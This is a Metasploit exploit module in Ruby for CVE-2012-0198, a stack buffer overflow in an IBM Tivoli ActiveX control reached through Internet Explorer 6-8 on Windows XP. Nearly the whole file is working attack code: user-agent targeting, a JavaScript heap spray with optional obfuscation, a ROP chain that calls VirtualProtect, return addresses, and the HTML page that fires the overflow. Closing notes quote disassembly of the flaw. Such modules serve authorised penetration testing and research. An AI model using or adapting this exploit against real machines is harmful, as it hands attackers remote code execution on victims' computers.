added module for CVE-2012-0198
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juan
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::HttpServer::HTML
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include Msf::Exploit::Remote::BrowserAutopwn
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autopwn_info({
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:os_name => OperatingSystems::WINDOWS,
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:ua_name => HttpClients::IE,
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:ua_minver => "6.0",
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:ua_maxver => "8.0",
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:javascript => true,
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:rank => NormalRanking,
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:classid => "{84B74E82-3475-420E-9949-773B4FB91771}",
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:vuln_test => "RunAndUploadFile",
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})
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def initialize(info={})
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super(update_info(info,
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'Name' => "IBM Tivoli Provisioning Manager Express for Software Distribution Isig.isigCtl.1 ActiveX RunAndUploadFile() Method Overflow",
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'Description' => %q{
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This module exploits a buffer overflow vulnerability in the
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Isig.isigCtl.1 ActiveX installed with IBM Tivoli Provisioning
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Manager Express for Software Distribution 4.1.1.
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The vulnerability is found in the "RunAndUploadFile" method
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where the "OtherFields" parameter with user controlled data
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is used to build a "Content-Dispoition" header and attach
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contents in a insecure way which allows to overflow a buffer
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in the stack.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Andrea Micalizzi aka rgod', # Vulnerability discovery
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'juan vazquez', # Metasploit module
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'sinn3r' # Metasploit module
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],
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'References' =>
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[
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[ 'CVE', '2012-0198' ],
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[ 'OSVDB', '79735' ],
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[ 'BID', '52252' ],
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[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-040/' ]
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],
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'Payload' =>
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{
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'Space' => 1000,
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'BadChars' => "\x00",
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'DisableNops' => true
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},
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'DefaultOptions' =>
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{
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'InitialAutoRunScript' => 'migrate -f'
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},
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'Platform' => 'win',
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'Targets' =>
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[
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# isig.dll 2.44.282.0
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[ 'Automatic', {} ],
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[
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'IE 6 on Windows XP SP3',
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{
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'Rop' => nil,
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'Offset' => 161, # length is strlen("submit") dependant
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'OffsetShell' => '0x800 - code.length',
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'ebp' => 0x09090909,
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'Ret' => 0x09090909
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}
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],
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[
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'IE 7 on Windows XP SP3',
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{
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'Rop' => nil,
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'Offset' => 161, # length is strlen("submit") dependant
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'OffsetShell' => '0x800 - code.length',
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'ebp' => 0x09090909,
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'Ret' => 0x09090909
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}
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],
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[
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'IE 8 on Windows XP SP3',
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{
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'Rop' => :jre,
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'Offset' => 161, # length is strlen("submit") dependant
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'OffsetShell' => '0x480',
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'ebp' => 0x09090920,
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'Ret' => 0x7c375a3d # stackpivot from msvcr71.dll # mov esp, ebp # pop ebp # ret
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}
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]
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],
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'Privileged' => false,
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'DisclosureDate' => "Mar 01 2012",
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'DefaultTarget' => 0))
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register_options(
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[
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OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation'])
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], self.class)
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end
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def get_target(agent)
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#If the user is already specified by the user, we'll just use that
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return target if target.name != 'Automatic'
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if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/
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return targets[1] #IE 6 on Windows XP SP3
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elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/
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return targets[2] #IE 7 on Windows XP SP3
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elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8/
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return targets[3] #IE 8 on Windows XP SP3
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else
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return nil
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end
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end
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def get_payload(t, cli)
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if t['Rop'].nil?
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code = ""
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else
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#Fix the stack to avoid anything busted
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code = "\x81\xC4\x54\xF2\xFF\xFF"
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end
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code << payload.encoded
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# No rop. Just return the payload.
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return code if t['Rop'].nil?
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# ROP chain generated by mona.py - See corelan.be
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case t['Rop']
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when :jre
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print_status("#{cli.peerhost.ljust(16)} #{self.shortname} Using JRE ROP")
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exec_size = 0xffffffff - code.length + 1
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rop =
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[
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0x7c37653d, # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN
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exec_size, # Value to NEG
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0x7c347f98, # RETN (ROP NOP)
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0x7c3415a2, # JMP [EAX]
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0xffffffff,
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0x7c376402, # skip 4 bytes
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0x7c351e05, # NEG EAX # RETN
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0x7c345255, # INC EBX # FPATAN # RETN
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0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN
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0x7c344f87, # POP EDX # RETN
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0xffffffc0, # Value to negate, will become 0x00000040
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0x7c351eb1, # NEG EDX # RETN
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0x7c34d201, # POP ECX # RETN
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0x7c38b001, # &Writable location
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0x7c347f97, # POP EAX # RETN
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0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]
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0x7c378c81, # PUSHAD # ADD AL,0EF # RETN
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0x7c345c30, # ptr to 'push esp # ret '
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].pack("V*")
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end
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code = rop + code
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return code
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end
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def on_request_uri(cli, request)
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agent = request.headers['User-Agent']
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my_target = get_target(agent)
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# Avoid the attack if the victim doesn't have the same setup we're targeting
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if my_target.nil?
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print_error("#{cli.peerhost.ljust(16)} #{self.shortname} Browser not supported: #{agent.to_s}")
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send_not_found(cli)
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return
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end
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print_status("#{cli.peerhost.ljust(16)} #{self.shortname} Client requesting: #{request.uri}")
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p = get_payload(my_target, cli)
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js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch))
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js_nops = Rex::Text.to_unescape("\x90"*4, Rex::Arch.endian(my_target.arch))
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js_spray = <<-JS
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var heap_obj = new heapLib.ie(0x20000);
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var code = unescape("#{js_code}");
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var nops = unescape("#{js_nops}");
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while (nops.length < 0x80000) nops += nops;
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var offset = nops.substring(0, #{my_target['OffsetShell']});
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var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
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while (shellcode.length < 0x40000) shellcode += shellcode;
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var block = shellcode.substring(0, (0x80000-6)/2);
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heap_obj.gc();
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for (var i=0; i < 0x1A0; i++) {
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heap_obj.alloc(block);
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}
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JS
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js_spray = heaplib(js_spray, {:noobfu => true})
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if datastore['OBFUSCATE']
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js_spray = ::Rex::Exploitation::JSObfu.new(js_spray)
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js_spray.obfuscate
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end
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bof = rand_text_alpha(my_target['Offset'])
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bof << [my_target['ebp']].pack("V") # ebp
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bof << [my_target.ret].pack("V") # eip
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html = <<-HTML
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<html>
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<head>
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<script>
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#{js_spray}
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</script>
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</head>
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<object classid='clsid:84B74E82-3475-420E-9949-773B4FB91771' id='isig'></object>
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<script>
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var url = "http://#{Rex::Socket.source_address('1.2.3.4')}:#{datastore['SRVPORT']}/tpmx/uploadEG2.do";
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var fields = "submit:#{bof};FROM_EMAIL:true;userKey:2";
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var flags = "-level5";
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msg = isig.RunAndUploadFile(url, fields, flags);
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</script>
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</html>
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HTML
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html = html.gsub(/^\t\t/, '')
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print_status("#{cli.peerhost.ljust(16)} #{self.shortname} Sending html")
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send_response(cli, html, {'Content-Type'=>'text/html'})
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end
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end
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=begin
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* Vulnerability notes
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The Dangerous strcat allows to attach user-controlled contents after
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the Content-disposition header:
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.text:100040B0 Src = byte ptr -100h
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...
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.text:100040DD push [ebp+Source] ; Source => User controlled via "fields" param
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.text:100040E0 lea eax, [ebp+Src]
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.text:100040E6 push eax ; Dest => Local variable where the Content-disposition header
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; has been stored
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.text:100040E7 call _strcat ; strcat used by this module to overflow
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Function isn't protected with stack cookies so get
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the control flow is easy by overwriting the saved EIP
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on the stack.
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=end
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